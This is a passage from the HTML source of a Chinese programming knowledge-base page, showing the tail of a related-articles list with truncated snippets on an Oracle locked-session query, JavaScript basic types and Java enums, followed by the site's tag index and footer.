今天对一个数据量很大的表进行操作时,出现如题所示的异常。此时表明数据库的事务处于“忙”的状态,而且被lock了,所以必须先关闭占用的session。
step1,查看被lock的session:
select t2.username, t2.sid, t2.serial#, t2.logon_time
from v$locked_obj</div>
</li>
<li><a href="/article/3645.htm"
title="javascript学习笔记" target="_blank">javascript学习笔记</a>
<span class="text-muted">tntxia</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
<div>
javascript里面有6种基本类型的值:number、string、boolean、object、function和undefined。number:就是数字值,包括整数、小数、NaN、正负无穷。string:字符串类型、单双引号引起来的内容。boolean:true、false object:表示所有的javascript对象,不用多说function:我们熟悉的方法,也就是</div>
</li>
<li><a href="/article/3772.htm"
title="Java enum的用法详解" target="_blank">Java enum的用法详解</a>
<span class="text-muted">xieke90</span>
<a class="tag" taget="_blank" href="/search/enum/1.htm">enum</a><a class="tag" taget="_blank" href="/search/%E6%9E%9A%E4%B8%BE/1.htm">枚举</a>
<div>Java中枚举实现的分析:
示例:
public static enum SEVERITY{
INFO,WARN,ERROR
}
enum很像特殊的class,实际上enum声明定义的类型就是一个类。 而这些类都是类库中Enum类的子类 (java.l</div>
</li>
</ul>
</div>
</div>
</div>
<div>
<div class="container">
<div class="indexes">
<strong>按字母分类:</strong>
<a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
</div>
</div>
</div>
<footer id="footer" class="mb30 mt30">
<div class="container">
<div class="footBglm">
<a target="_blank" href="/">首页</a> -
<a target="_blank" href="/custom/about.htm">关于我们</a> -
<a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
<a target="_blank" href="/sitemap.txt">Sitemap</a> -
<a target="_blank" href="/custom/delete.htm">侵权投诉</a>
</div>
<div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
</div>
</div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>
</body>
</html>